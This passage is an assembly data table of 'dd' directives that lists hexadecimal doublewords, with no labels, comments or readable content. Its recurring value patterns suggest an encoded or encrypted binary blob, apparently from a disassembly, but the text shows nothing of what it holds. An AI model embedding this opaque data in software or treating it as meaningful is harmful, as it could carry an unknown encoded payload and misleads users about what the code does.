90B51A66h dd 0AD321566h, 22321575h, 6717A37Dh, 63564C36h, 473FD1F3h dd 151F4900h, 7B544D74h, 885AE926h, 0B1321576h, 0A3D59C31h dd 113211A1h, 8CDD9666h, 181629E1h, 0D71619EFh, 0E4CA150Ch dd 0AC9B8099h, 50DB1372h, 0AF321566h, 5B0223DBh, 45990630h dd 1A682CBCh, 0ED82EA96h, 0EEA00F44h, 9C2298F3h, 45B01A60h dd 0DA321566h, 137F90EFh, 1CA1372h, 502DC8E3h, 0C5B37560h dd 4E37CC27h, 7BF99400h, 70CD74E4h, 0E6B14C42h, 0FEB37562h dd 0F9C31376h, 5BB11A07h, 2D321566h, 11320CE4h, 8826FC66h dd 0AB1B1566h, 0DBAC49AFh, 0ED1781CEh, 0E3972EFEh, 0B12246C0h dd 97CD8F16h, 17260ABBh, 4EB97306h, 0BB538FD0h, 361F48D3h dd 9867ED60h, 8CF79483h, 0C7321566h, 0EB5118Bh, 2DBB4942h dd 3DCDEC42h, 42260DD3h, 0F1B97306h, 98E49400h, 0DBF7470h dd 4228A614h, 223BFC06h, 0BCE01566h, 257E669h, 25290786h dd 0CB52C599h, 11321577h, 0FA8A741Dh, 0C1FFF958h, 0DB3F9F16h dd 0A51E441Bh, 8821FCFBh, 77B71566h, 0CF8672Ah, 48E7C74h dd 7646FAB8h, 0F6C43CC2h, 0AF3374A5h, 17263303h, 88321D8Fh dd 149F7866h, 75B9BDB0h, 0CC8F9E02h, 0E8340179h, 2214C6E6h dd 0F3D0E4E7h, 113CFC07h, 628F1566h, 0D93C9515h, 4E78D3AAh dd 43689009h, 0A56FA0EDh, 0ADC71372h, 22321569h, 0E9335B11h dd 0F8C5508Bh, 21B81CAh, 0D169F878h, 9B5275C2h, 6BFC949Ah dd 257920C6h, 0E36AE6E7h, 9A534128h, 9C0674D3h, 4B9FE960h dd 22321DE4h, 13B11A66h, 0E8321566h, 78D4207h, 0E51FC929h dd 5E71E920h, 316338BAh, 0BBCDEA9Ah, 1B03E467h, 1EDB4A3Fh dd 47321566h, 9E56970Ah, 6A3293ACh, 7C040598h, 48F35B34h dd 45BB1A63h, 0DA321566h, 509FAA31h, 7F754A06h, 0B9FD94B1h dd 0E35D371Ah, 0D6B31189h, 0DAD22EF5h, 0EE15D2E7h, 0DA3306C9h dd 17BB1A39h, 0E8321566h, 0D173AA00h, 0DBB71607h, 0ED340142h dd 97EF98EDh, 15C71372h, 5521AB30h, 653327ABh, 76C1142h dd 571A9466h, 4200D811h, 70E39E00h, 8832188Fh, 0CFFE2566h dd 334DFB5Dh, 0EA14C473h, 709F6317h, 0B3B34606h, 41E996DDh dd 0E0B3733Fh, 0DB532796h, 0D25D73DDh, 0C4F19468h, 90478428h dd 6B155185h, 85E9E223h, 0C9B31685h, 0CFD4D886h, 1ED9C31h dd 1F6DE918h, 2232048Fh, 869AB766h, 65846666h, 33362E5h dd 0CC542056h, 1ADB8E9Ah, 0CD321566h, 686CCB84h, 515EDBDDh dd 0A4BBD984h, 8E262107h, 44339369h, 0A1C71566h, 943DEA9Eh dd 883215F6h, 0B8BAA006h, 0FF0C9407h, 1EEFC8BBh, 88326AE3h dd 4422FC66h, 5E8A1566h, 0D6438F14h, 0B9510688h, 3AA4C320h dd 996176E6h, 11321566h, 94B90BEFh, 40F69642h, 2232068Fh dd 60ABD966h, 8E94F162h, 0C19A15C0h, 0BFBBD34Bh, 85EA320Bh dd 8836AD36h, 0AAB31566h, 42176246h, 0D7B3D367h, 0E8176246h dd 443AFC3Eh, 0A7371566h, 567AEA1Eh, 3DBBD4E7h, 42262107h dd 2232048Fh, 9348CC66h, 301A0A94h, 0A071D105h, 0AF55EC91h dd 0A0DB0CA3h, 71CDEAB4h, 0B131D5A7h, 6CB9065h, 9C3D1372h dd 88321561h, 4B6D4506h, 0A153EED9h, 51DBCDBh, 0C3D1460h dd 44321645h, 22321A8Fh, 36892666h, 6381E920h, 0B9020A2Ch dd 405DC6B2h, 1132018Fh, 487B966h, 0AE602491h, 847B1D14h dd 0D5F0F237h, 0D9A19B26h, 0EE0C940Ch, 2D98BFCCh, 11324BE3h dd 3062E066h, 44321562h, 26B9D367h, 15F69442h, 7D321566h dd 57B2AC37h, 0E3734CA9h, 0F0F3168Fh, 54DB9464h, 0C574161Eh dd 0C622F197h, 0ED7C9C80h, 0B1619EDh, 2CCB11A2h, 2232756Bh dd 461611EFh, 9524A3Eh, 16E80E89h, 43524378h, 0A6617439h dd 76BA478Fh, 1F68E5EEh, 221DFC93h, 41CE1566h, 0AC369E31h dd 1B36D1E5h, 9561449Ah, 0D9C59546h, 69E8EEh, 0CF3D4C8Eh dd 22321577h, 1132198Fh, 5D495566h, 0E7EBB29Bh, 7E48CE6Ah dd 47F47D87h, 8CBB1566h, 43DA7542h, 0E321566h, 2FBFC359h dd 4C84A433h, 6DE3AF3Dh, 0A1533CECh, 51E4CDBh, 0C3D1460h dd 44321468h, 2B5A439Ah, 4F7F7741h, 0FD6FAA31h, 93C51FD8h dd 8E99E2E7h, 0EF1BAD45h, 0D6C29C39h, 0EC8F969Eh, 22340E1Eh dd 11149169h, 5CA1566h, 5EF5B1FBh, 98527560h, 0A8A04Bh dd 7AB97307h, 97CDE007h, 22389E69h, 1E521566h, 883215E7h dd 25C59E66h, 2DA22AE6h, 11325EE2h, 8837FC66h, 423E1566h dd 0A3562C5Ah, 1132118Ah, 0AC2E9C66h, 443210DDh, 79ED1466h dd 108BFC9Fh, 83D1566h, 44321571h, 2232078Fh, 56639366h dd 2E96E8A6h, 91245820h, 0C942190Ch, 71C37C77h, 88379B69h dd 0C5541566h, 43307195h, 1E62EDE5h, 883274E4h, 4EB21A66h dd 42321566h, 77FDAA69h, 0F689C7E7h, 22C7A507h, 0A76A037h dd 356B738Eh, 74CD11B5h, 40B9ECCCh, 0C0BB4742h, 1136D7E7h dd 4AB11566h, 60269262h, 223EFC3Ah, 47521566h, 1B1A754Fh dd 1814BD2Dh, 4298D48Bh, 0AA54DBEDh, 615361A0h, 443215C7h dd 22321C8Fh, 96D6F66h, 744DB674h, 70CD3BDCh, 0E6B14D42h dd 90547562h, 0E9EC1CBFh, 44339469h, 88CB1566h, 0AEE19506h dd 70B97306h, 44329A69h, 43531566h, 0F8CD6AE6h, 88519069h dd 0C7CA1566h, 394ABDDBh, 953D1560h, 88321542h, 443E9769h dd 0A93D1566h, 11321560h, 88329E69h, 0D9BF1566h, 2428D3BFh dd 0CFB37306h, 0BF86028Ah, 0B1E1EA07h, 2236F9E7h, 5BB1566h dd 0F49D42h, 4B681111h, 223209E6h, 1EDB7566h, 0AD321566h dd 932031B4h, 874BC1D5h, 355B3F97h, 52B3EE45h, 9C6024h dd 0FFB79E07h, 0F8340179h, 88321572h, 8DD33ABh, 0B2B30108h dd 0F1235E4h, 0C53D9221h, 3803CCA3h, 6334AF34h, 0D3B33450h dd 0C45F33ADh, 6D68C567h, 45E3389Eh, 2DB78C5h, 0FA321566h dd 0C86C2BB2h, 70C3A830h, 0E5200ECCh, 5AE7DB64h, 0FA642612h dd 22321562h, 19376263h, 0A5C23C48h, 6A3A1011h, 2220FC38h dd 0CA231566h, 421BA5AFh, 53874CD5h, 0B79B4710h, 0B7B28E8Ch dd 9CB91ACDh, 4B321566h, 22321BEAh, 113BFC66h, 0B5691566h dd 3A166B34h, 8F105B60h, 9A544606h, 9534BAEh, 4432118Ah dd 63E9C66h, 113215DFh, 747C9C66h, 5DBD1A3Fh, 0CB321566h dd 11321572h, 91BCB3BAh, 0AA9842C7h, 1579459Eh, 0D61F7916h dd 0B934DEBCh, 0BBC9C08Fh, 24DB7599h, 0BC321566h, 380DE3AAh dd 4423FDE9h, 88391566h, 0B9E0B43Ch, 95268FC1h, 5B1F41DFh dd 0CB5A95DBh, 1132156Ah, 41BBF7Eh, 9A446EEDh, 66A5E96Ch dd 0A4BB743Dh, 8E262107h, 0FB3D7506h, 8F887394h, 9054749Dh dd 0E9B908A9h, 446CD50Eh, 6269C66h, 1132128Fh, 131E2B66h dd 13D30B94h, 22B2150Eh, 1BBC1A66h, 61321566h, 44321563h dd 0C715A561h, 1E327FC1h, 883219E7h, 42B21A66h, 2D321566h dd 113215E9h, 3DCDE966h, 4226243Bh, 0EFA7EA9Ah, 0F8340160h dd 88321575h, 947F25A9h, 31FFCF9Fh, 0C01C8E2Eh, 0B6EFA40Fh dd 0BBEC9B43h, 0A3683152h, 113211A2h, 5B9ED66h, 4226108Fh dd 22369369h, 9A521566h, 0D96574B6h, 64667CDFh, 7BFD9C7Ch dd 455B14A1h, 0B11B0F46h, 51BE1A39h, 0CB321566h, 11321576h dd 8391AB94h, 28F8DDD5h, 5A38E789h, 0B6194E1Ch, 8836A833h dd 0AD331566h, 0A31639EDh, 113211A2h, 883EFC66h, 849B1566h dd 0E9F07969h, 0E1A0A368h, 5BBE905h, 4226108Fh, 2232138Fh dd 0BF546066h, 61801D83h dd 0BBCDD3F0h, 0EDB24506h, 1FDB4C32h, 1F321566h, 0B32712BDh dd 9923D8A6h, 5C94A89Bh, 0E3D7410h, 44321567h, 931FC93h dd 1DDB1566h, 0B6321566h, 648D9D59h, 74AD7C21h, 7188C138h dd 61BF9E93h, 24340163h, 2DF89E00h, 113215E8h, 0DE527466h dd 44329C69h, 0CA681566h, 11321577h, 377BB6E2h, 232FB75Dh dd 255B4AF7h, 0A21FB565h, 0A5FA944Ch, 1C3F09C8h, 26DE9407h dd 98321566h, 88883172h, 45321566h, 78389EACh, 0B5BF9C9Ah dd 0E8340E1Eh, 4BC5AA69h, 22320FE1h, 1126FD66h, 0BFB51566h dd 6A7E3A6Ah, 7CF47D1Ah, 0A3701E62h, 0C1D08BD1h, 256A4D5Eh dd 767C2DE7h, 943D5922h, 883215E4h, 4421FC9Ah, 6EF61566h dd 95FBB24Bh, 0D99ECEC8h, 4E308DABh, 0F09F328Eh, 69B3731Ah dd 871C5962h, 443248E3h, 23BF1A66h, 0E8321566h, 0AC069436h dd 5C768CEh, 0A11621EDh, 0E7B311A2h, 0C9C768CEh, 428F4093h dd 23321566h, 351E9E88h, 0E836D1E5h, 24ED9400h, 4ED49541h dd 0ECB79E07h, 0E8340157h, 0F33D93D7h, 48DB74B0h, 71321563h dd 88321F8Fh, 23E53366h, 90F028ADh, 90E2C451h, 0B0C571B7h dd 0CD617441h, 0A9EC9CA5h, 0D5B3317Ah, 88321562h, 442F9F69h dd 0A13D1566h, 11321571h, 8832078Fh, 1E85CB66h, 3132624Ah dd 908FB3CBh, 0ABC52BF9h, 1495AD3Ah, 0A11601EDh, 0AF5211A2h dd 0A66B887Ah, 44BB1A06h, 43321566h, 0D803E007h, 8832188Fh dd 0C68BD666h, 0F3286E09h, 9CAB155Bh, 709ED6D1h, 0C03D155Ah dd 223214C4h, 11239269h, 84DB1566h, 4E321566h, 0FB0FF5FDh dd 78148A5Fh, 0B44E942Eh, 93B61A4Bh, 2DCDEA99h, 113214E4h dd 0A60EE066h, 453F9169h, 0A53D1566h, 11321577h, 883BFD06h dd 31F11566h, 631F1B36h, 4B9DF320h, 87022907h, 44374EE4h dd 2EB81A66h, 1E321566h, 883213E9h, 44B51A66h, 1E321566h dd 9EB41A5Fh, 7DCDEA99h, 0C63D545Ah, 2232105Eh, 1E68299Ah dd 77CD68E0h, 443FFC99h, 0D4121566h, 4782654Dh, 8485259Fh dd 786C28C9h, 41B61A39h, 0F8CDEA99h, 88321569h, 0B17EF9A9h dd 566A25F2h, 863C8F47h, 0B4222A70h, 0BDB01A07h, 0CB321562h dd 1132156Ah, 0C097D337h, 7A4DC08Bh, 93D7B431h, 1E48299Fh dd 77CD38E0h, 4BDA7599h, 61321566h, 588B1DA4h, 0B023ED03h dd 78FC1E36h, 0CCB209C7h, 3DB4ABBh, 48321566h, 0C0FCB6F5h dd 0F4771753h, 0EA02182Dh, 517124Dh, 0EDDB74EDh, 42321562h dd 11309C69h, 0E9521566h, 42DBEC06h, 0CE321566h, 0EF4386C8h dd 0E85374F9h, 218B7306h, 2220FC1Ch, 0ABBB1566h, 0E558294Fh dd 3064A058h, 1F7039F1h, 3B640695h, 79B37307h, 1153D2E0h dd 223214DBh, 4CD81466h, 87C02C93h, 44364EE2h, 2CBA1A66h dd 0F8321566h, 8832156Fh, 839A672Ch, 9FA86309h, 108B440Bh dd 0A1321566h, 16CA4CACh, 223214DCh, 4BE31466h, 88321A8Fh dd 650DF866h, 0BA0E4295h, 0AC18D81Dh, 9009581Bh, 0BBCC7C8Fh dd 2DBA1A99h, 0F8321566h, 8832156Ch, 9CAD1EB9h, 9539227Ah dd 0D8B7C4E7h, 8BCC9169h, 0C53D1566h, 22321567h, 4487989Eh dd 6134016Ch, 44321563h, 7420E868h, 7C5AE04Dh, 1321569h dd 40B33172h, 0F81F3242h, 0F8B34C01h, 0EFE83841h, 0BD8D1A06h dd 2DDB749Fh, 0A5321566h, 0CFF91475h, 2D2B530Ch, 0F0BAC96Fh dd 90600CAFh, 0E6E33162h, 116D5CF4h, 0B05CC4DBh, 4CDD3C2Fh dd 8832138Fh, 0EC8BEC66h, 0CB675732h, 11321563h, 37547128h dd 0DA874418h, 0CA02A5D6h, 921619EDh, 86DB11A2h, 86321566h dd 0D2863420h, 72BC4593h, 0B1EE7DA4h, 4437FCA2h, 0D11A1566h dd 0BF6C6B4Ah, 9ADBE813h, 82321566h, 5040B12Fh, 3473BF86h dd 76CF97A1h, 798BC115h, 4452759Eh, 70BAEEDEh, 0DF8D4207h dd 0C555D52Ah, 35713381h, 49F59423h, 0CF1E7C09h, 0F2F59421h dd 0BF5AF00h, 0E81B4A9Fh, 9E24D4E7h, 2CC72C42h, 22321566h dd 9A16194Fh, 4CB3316Ah, 44321562h, 9B63E093h, 59306CFAh dd 0A16BDA67h, 0D8DD94A9h, 0CB7A171Fh, 11321576h, 0C577D652h dd 0E4E20BF5h, 526633D6h, 0FEB57245h, 88218C0Eh, 600E9C66h dd 0CB6C4A30h, 11321575h, 70BAC7A7h, 95A293BCh, 856A9CBDh dd 0D5663FECh, 87353284h, 44321EE7h, 0A3547566h, 777F7891h dd 0E9CCB9DDh, 2252B195h, 7034CFE7h, 1137FC06h, 10D21566h dd 0ADFB31B9h, 2232156Dh, 0B43C4D4Ch, 8F7F6466h, 2568FD81h dd 2C844707h, 99C0A235h, 8869EA19h, 0AD68EA11h, 22321575h dd 4D3C8472h, 0E709FF53h, 0A09D087Ch, 31CFFCC5h, 9C01B1DEh dd 9C3840F3h, 4434FC60h, 0A2F11566h, 19134758h, 914F90EDh dd 4FDB1372h, 5E321566h, 0FBB23A36h, 2C41DB3Eh, 84B7182Ah dd 22489069h, 71C71566h, 3F3D93D3h, 0C1F47497h, 24260F3Fh dd 1120FC21h, 0AC9D1566h, 210BFA7Fh, 692565CEh, 847E995Ah dd 55EB4C59h, 0DE95C70Eh, 2223FCB2h, 0C4E01566h, 734373A8h dd 0F5C7C6DCh, 0BADBD157h, 0EE1648F8h, 9C28C4D3h, 0C1BFE060h dd 242595BDh, 113BFC06h, 0C3EA1566h, 0E8EE18D9h, 0DEF14006h dd 1EE2EA07h, 883206EDh, 443CFC66h, 0FEDF1566h, 0A3A9F9EAh dd 0ECEFD210h, 7EF7C149h, 0A3D09C34h, 113211A4h, 8CD89466h dd 0C3321566h, 0AB6E3172h, 0EECB3172h, 48B7E0B6h, 44ED9069h dd 44521566h, 0A40CD3E7h, 75D562DCh, 0CFCA7428h, 361D80E3h dd 16B51A60h, 87321566h, 443214EAh, 0E2B7E966h, 11439069h dd 87DB1566h, 9A321566h, 4FAE2020h, 5AC00336h, 11FC0B6Fh dd 0C1F49835h, 24260F3Fh, 0CBB9752Ah, 15EB9400h, 0AD5A74F1h dd 2DEBCF7Ah, 113214E7h, 3DCDE066h, 42260FB7h, 0F9B7989Fh dd 0E83402E6h, 8752C599h, 443201E1h, 223DFC66h, 24311566h dd 382EED1h, 75712A59h, 5511CC0h, 1122FCD8h, 0E7DC1566h dd 0AD572571h, 3B1FC3F9h, 755200E0h, 0B53DCE6h, 50BB118Ah dd 0F2CDE042h, 1132078Fh, 9F45FC66h, 7823616Eh, 0AE73A654h dd 0CD737645h, 0DEF2326h, 5AB71AA6h, 2D321566h, 113214E9h dd 45DBE066h, 4B321566h, 223219E5h, 17B81A66h, 87321566h dd 443215E6h, 86B79C66h, 0E9340E1Eh, 884FD20Eh, 60369C66h dd 222B9C69h, 5DB1566h, 93321566h, 7E458317h, 0CD116DBFh dd 1363805h, 0E7BA1A7Ah, 24894CE7h, 0A5673CDCh, 1137FC16h dd 0E24E1566h, 259FB04Bh, 2200A20Eh, 35069C66h, 3BE09406h dd 22135CA4h, 43586BDCh, 6D7490EBh, 77CB1371h, 45BD1AB6h dd 0DB321566h, 943DD56Dh, 88321559h, 4421FC06h, 7BB1566h dd 0F39967F9h, 0B784F072h, 8170F116h, 3FFEB7BEh, 90544707h dd 0D66CEAB0h, 4418FC07h, 36DB1566h, 0BF321566h, 0D14469FAh dd 0A2842F74h, 0AF2BB7B9h, 3F90E751h, 16D241Ch, 4B2E3122h dd 223212EEh, 4B647566h, 0E9F5A269h, 4420FC07h, 70C31566h dd 0E5200ECCh, 5AE7DB64h, 0FDBF2612h, 0C2795E02h, 113BFCA5h dd 0F1B81566h, 4A211E25h, 42F5F308h, 1132128Fh, 0C3CD6466h dd 18DEAA82h, 222A9A69h, 3DA1566h, 0DC321566h, 0A086F47h dd 0A4840F28h, 0BDE84B02h, 0B105BFA0h, 24534C3Bh, 0EDB37306h dd 9A5378DCh, 934AB1EBh, 0A1B27560h, 223DFC95h, 5F021566h dd 6CDD9B42h, 2E7D9385h, 1190FC78h, 18DB7485h, 0DC321566h dd 0AE221788h, 0A74A0EAEh, 1145F50Eh, 0AC369C66h, 0ABB37306h dd 0A35425E6h, 70368CA5h, 8806300Eh, 603E9C66h, 2239FC3Eh dd 10FE1566h, 0FF040FA8h dd 5E6D793Ch, 0F5B3754Bh, 22CBEC81h, 0E9F7C1E6h, 440EAC37h dd 0E3B31566h, 7D5E6C80h, 61B3D467h, 285E6C80h, 2D6B1465h dd 113212EAh, 89B91A66h, 0BD321566h, 22BAA599h, 25B31566h dd 9D6DDD42h, 60269E5Bh, 2236D1E7h, 0E3B31566h, 0B5274AAEh dd 0BBD29506h, 0A79BB4DDh, 84BB7428h, 8E2601FBh, 0BC88479Fh dd 23321566h, 35269EB6h, 8836D1E7h, 22521566h, 0DD53EEEDh dd 3DB31916h, 0FA585042h, 0FC624F1Fh, 5B407F23h, 1E6AD767h dd 88320CEBh, 57B11A66h, 0CB321566h, 11321568h, 929D6661h dd 0CE2BCCBBh, 1AFBA0Ah, 84BB4F24h, 8E261F47h, 443DFC06h dd 5911566h, 0F232B218h, 8D712664h, 384B4883h, 26B974DBh dd 0F2BB4642h, 8836D6E7h, 87B11566h, 62E9262h, 65CDEC3Ah dd 8CB93142h, 40F69642h, 0A23D7506h, 11321566h, 3544507h dd 12534AA1h, 0D17080D8h, 0E7B35B2Ch, 0E2E31BA4h, 59D2F3E7h dd 0ECB34ADAh, 319E5396h, 0EF44E3E7h, 0B41B0111h, 27FA3C38h dd 25E93CE0h, 883FFC06h, 43C31566h, 0B396733Dh, 0F2B4AA98h dd 0E9FE620Eh, 4E13905Dh, 0A03D1372h, 11321532h, 883A9769h dd 0C03D1566h, 22321564h, 94097406h, 8E2601FBh, 44089669h dd 0CB521566h, 11321568h, 0D8E13298h, 9D4C14BAh, 0AE15C4A2h dd 16DA272Fh, 0A2321566h, 0E95323CAh, 0A35430FAh, 4FF419B9h dd 4ACE7407h, 4DDB1562h, 11321566h, 59E1CAFBh, 48D7A3BDh dd 48BA1A07h, 2D321566h, 113213EBh, 88B01A66h, 0B8321566h dd 0AD1611A1h, 0E6455771h, 31633172h, 0CC8FFD16h, 2616594Fh dd 6B41A3Fh, 61321566h, 44321574h, 61353CC1h, 0BB9317DFh dd 5CDA046Eh, 0F5B2E3Ah, 75CABBF8h, 3DBEAD36h, 0FC8D649Ah dd 45BC16B5h, 5EBB4DA1h, 1E6D1D42h, 883214EEh, 2C67E966h dd 8620E80h, 0E8F7943Bh, 49439F69h, 0A9B3138Bh, 205D7DCCh dd 0E46FFDEFh, 0C54B98EBh, 0CF521372h, 22BA1A9Eh, 70321566h dd 0E8D3EA93h, 0C5FAAA69h, 0F2FCBE81h, 71527444h, 0BE65AD00h dd 40DE9607h, 9B1619EFh, 11321566h, 89B8E467h, 443AFC3Fh dd 7BE61566h, 541F9FF6h, 610E2F51h, 45AB9169h, 0AE3D1566h dd 11321571h, 8832078Fh, 0DEEBA966h, 9EB11170h, 0C8AE7491h dd 0C963E5Ch, 78AF717Dh, 85B61A8Eh, 1E321567h, 88320DEEh dd 0FF547566h, 2FDBD28Fh, 0ED321566h, 0FB4A1CCBh, 8BC18C48h dd 2AF15C49h, 1126FC07h, 44C31566h, 62435EFCh, 562DFB7Dh dd 0A9F30148h, 2D99FE34h, 4B0E593Dh, 22B39169h, 5DB1566h dd 23321566h, 7530BC5Fh, 0A58A2991h, 4A4EFA70h, 68652A3h dd 0ADA29B99h, 2232156Bh, 406D9CAEh, 0D4DC1378h, 92D91AF3h dd 2DFF2907h, 1133BFE2h, 8EDB7566h, 0A3321566h, 8E1E7C04h dd 7021A436h, 88389F69h, 41DB1566h, 50321566h, 1669340h dd 0C3DFE5Ah, 443214DFh, 0DFB8759Ah, 3FFB9400h, 61537494h dd 44321563h, 0DD32267Fh, 1BBB1A66h, 0E8321566h, 44329C69h dd 78651566h, 40CBD607h, 883214DFh, 0F2DB9466h, 230F1B0Ch dd 0A7F39497h, 20F1B0Ch, 0F2524C7Fh, 0D8D7371h, 0A56274F5h dd 3D13596h, 80B13162h, 2223FC62h, 89B31566h, 74391BA0h dd 2635C7E0h, 9438AD2Fh, 9138DFD0h, 0D3D959Dh, 0BBCDEAFCh dd 22B51A06h, 0A4321566h, 0D864746Bh, 0F90170DEh, 6762465h dd 90694D62h, 35017095h, 45B71A65h, 0D7321566h, 178D4237h dd 1321566h, 8F334A9Fh, 0AA5AEC3Fh, 98321569h, 8A8B316Ah dd 45321566h, 7B2B1697h, 1132078Fh, 959E5266h, 0EBE9EAE7h dd 56797AF4h, 0AAD005ACh, 619D54B2h, 443215F4h, 2232138Fh dd 92749166h, 77C25520h, 0FF611410h, 441824E3h, 15164967h dd 63B34E3Dh, 221824E3h, 22321B8Fh, 994D1A66h, 0EDCD1E19h dd 31266778h, 0D7D3EB9Dh, 1EC9EEE5h, 8832D5E2h, 515AEC66h dd 0AB32154Ah, 15B33152h, 345C5642h, 0AFB34E54h, 108E7B25h dd 79674593h, 0FDBB0436h, 15C7943Bh, 0AB479C77h, 0E133488Eh dd 876A0D65h, 44321DE3h, 0AA3D7566h, 11321566h, 928A4507h dd 614EE866h, 3E084EE7h, 0C23E2953h, 7BFB1023h, 8733B372h dd 81DBE03Eh, 1ECDEA98h, 883203E1h, 4423FC66h, 0CA901566h dd 0C62920E9h, 0DB7B8A64h, 26F5509Bh, 2D4D04EFh, 71334BD0h dd 0C1539D8h, 0CC3D4275h, 22321566h, 7752743Dh, 70BA65DDh dd 6AD99607h, 0DC569169h, 71CAEA99h, 0A8CAAA00h, 4429FC07h dd 0A43D1566h, 11321567h, 894C959Eh, 3B71A98h, 0CBCDEA98h dd 11321563h, 0A86BEAAh, 0B898FCBAh, 0A93DEA99h, 11321579h dd 882B9969h, 50DB1566h, 0B2321566h, 0A3CCCF26h, 0C29DF63Dh dd 0C5AEBCEDh, 0F1B1BC2Eh, 4789530Ah, 4EB3F3EFh, 44321562h dd 2236FBE7h, 25B51566h, 0BCBB4942h, 22C77542h, 8B22F3E7h dd 0F1BB4507h, 88321163h, 40DA9666h, 7E1611E1h, 0F81619EFh dd 88321568h, 5B849085h, 0A1BEB4EAh, 0A94F6A2h, 1617C08h dd 40F19485h, 0A3321566h, 1132118Dh, 0AC2E9266h, 602E9C3Ah dd 3C807D9Fh, 2DBB1566h, 53D7542h, 4432156Ah, 2232138Eh dd 59D7FB66h, 0D33DE8CBh, 0ADF22407h, 22321577h, 0D0E3A359h dd 92FBA035h, 0B981B11h, 0C5BFDC28h, 92CBB9E8h, 84BB118Ah dd 0CCF39D42h, 0A63D4CADh, 11321575h, 88321B8Fh, 0F6757666h dd 554C62ECh, 0F74BD2F4h, 9A03C4Eh, 4432118Ah, 6269C66h dd 0FFB26AD0h, 48DCC541h, 0AAB21688h, 78C13573h, 1132058Fh dd 27B06C66h, 886A8DB5h, 25F87055h, 0DE7E6BCCh, 0F8C99568h dd 41429169h, 42CB1566h, 11319A69h, 3541566h, 898D73BFh dd 2D0E747Fh, 11DD9169h, 0B4CB1566h, 69B61A8Fh, 4232156Dh dd 0FA0E7493h, 87089169h, 78CB1566h, 0B9B61A85h, 0F8321565h dd 8832156Ah, 55A661BBh, 63FFE5BAh, 0BAC4B580h, 0C3DF75Ah dd 443205ADh, 678B7306h, 113FFCACh, 24C11566h, 0BF4B872Fh dd 0DF52D184h, 70FEF562h, 0D91629EDh, 85B3F4EFh, 22321562h dd 9636D4E5h, 746E316Ah, 141609EDh, 2637F5EFh, 14321566h dd 88321562h, 181611E1h, 26B01A06h, 77321566h, 61D8BDDDh dd 44321574h, 0EC9D52D0h, 0A745273Eh, 6D13EC7Fh, 0A9B84557h dd 0A9532669h, 9865316Ah, 8CF59481h, 0C7321566h, 1EB511A1h dd 9ACA4942h, 1643152h, 40F49480h, 0A3321566h, 113211A0h dd 0AC069266h, 443FFC3Ah, 0A291566h, 0D773B862h, 4988E4F3h dd 87963580h, 2239FD06h, 7B021566h, 436C22FFh, 9B3082BCh dd 34E994C8h, 4A58E92Eh, 0FCB7D207h, 42340E1Fh, 2D321566h dd 11321DE8h, 8AB11A66h, 24321566h, 22884707h, 90321566h dd 0B921C3A4h, 0C5C01459h, 1321C38Ch, 4B289F59h, 8832138Fh dd 0EBD5C166h, 4234A008h, 11369669h, 33541566h, 2253D506h dd 2C2A037h, 1DB9738Dh, 8AF69442h, 0AD321566h, 22321576h dd 649750CDh, 0A4F92D44h, 8B3111F0h, 0DC9AC659h, 1EB2EEE6h dd 77CCFEE3h, 443DFC99h, 57671566h, 0F6FF7334h, 9FF92428h dd 0BFA1CD5Ah, 0DD8F400Ah, 10CDEA99h, 9ADB4888h, 37321566h dd 2A488AFBh, 0C00931A7h, 36C67B8Ah, 2271EB2Bh, 0D7B79E7Ah dd 0ED340162h, 9B9380EDh, 12CB1372h, 0A11609EDh, 0F85211A2h dd 8832156Dh, 0DA6708BEh, 3AA9F756h, 0EDDAB338h, 8E8C4307h dd 45321566h, 6069E95h, 1136D1E7h, 73D1566h, 44321573h dd 2232058Fh, 0AFFE4066h, 403E57B3h, 2415507Bh, 0EB865D60h dd 0A863ED1Dh, 88321564h dd 3525FCE7h, 0D3336D5Bh, 6025D4E7h, 91316D5Bh, 54B41A3Fh dd 42321566h, 1132138Fh, 0D6537C66h, 4B6BDAABh, 1953D3D1h dd 48B01ABEh, 87321566h, 443236EAh, 2EDB7566h, 0E5321566h dd 0DD400C17h, 5D277C3Bh, 0CB10CB78h, 1132156Dh, 0A4FED68Bh dd 95C5B9C7h, 431A9676h, 1132068Fh, 0D5135466h, 947827BBh dd 0FA6E565Ah, 0BFE572D5h, 0ABAB9A2h, 0C23DCF5Dh, 0DDCDE882h dd 11321F8Fh, 913A3766h, 867DFB2Dh, 0D715547Ah, 6E71AB30h dd 7B333F99h, 0C5C93C38h, 0DD4D568Dh, 1134FC4Ch, 9821566h dd 88248772h, 0AB36F9E5h, 178F314Ah, 0A1321566h, 41DB488Dh dd 0B8321566h, 0C5D9D081h, 7D52B800h, 2253F6D2h, 0FA03ECCDh dd 0C903D657h, 8832068Fh, 0FCF5FE66h, 0E4C4D08Eh, 3A89222Ah dd 0F4891F21h, 15C44301h, 223FFCCDh, 1CAC1566h, 9F6A8CA3h dd 57764005h, 7375E6F7h, 113211DFh, 4FDC9466h, 4543A238h dd 0E5F494A8h, 4843A238h, 88359069h, 0CA3D1566h, 22321567h dd 350E9C9Fh, 8832108Fh, 0CA08AF66h, 56BB95C3h, 98C71942h dd 9C13A0D3h, 43B41A60h, 42321566h, 0AE3D23D4h, 0B4B974BCh dd 0A6BB4742h, 2236D7E7h, 0D3B11566h, 0AC269262h, 0BBCBE03Ah dd 0A1693152h, 425211A2h, 0D7C3A269h, 818A7306h, 43537568h dd 353E9E07h, 9D79C33h, 443211A3h, 26F79666h, 4D1639E1h dd 88321F8Fh, 0B8E51066h, 0BAD01234h, 9A15E017h, 1653152h dd 40F59481h, 0A3321566h, 113211A1h, 0AC0E9266h, 0CD64ED3Ah dd 26F49480h, 92321566h, 0BC0111A0h, 60062442h, 7E162155h dd 0CEEAFC9Eh, 0EE52EA99h, 0D01FD5E7h, 0A7F57493h, 17296C12h dd 88321564h, 0B4BB459Fh, 0DB6A4E36h, 0E93CA369h, 87B2ECE6h dd 44324EE5h, 223EFC66h, 0A0901566h, 9512E026h, 0E8BBB20Bh dd 9C647779h, 9063AFh, 896CE667h, 8DD994ADh, 0DE23B710h dd 0EECDAB30h, 7B1BEA99h, 59B01A38h, 2D321566h, 113202E0h dd 8820FC66h, 4FB01566h, 0DD906876h, 0D4ECDE14h, 0CB8FDD4Ah dd 3EBBE849h, 2232988Fh, 9152EC66h, 0E9CB08A4h, 0E7834435h dd 0D43AFCA6h, 91EBE3BFh, 47BACB97h, 0C4E5E33Fh, 0C5F283A1h dd 0EF59563h, 0E869EC4Eh, 4432108Fh, 0BDB73766h, 0AE546AF4h dd 7F53C518h, 45F396B7h, 22321F8Fh, 0DA723266h, 9EA37972h dd 2C4AE567h, 223236BCh, 0AB1601EFh, 88321599h, 0B168C447h dd 22339B69h, 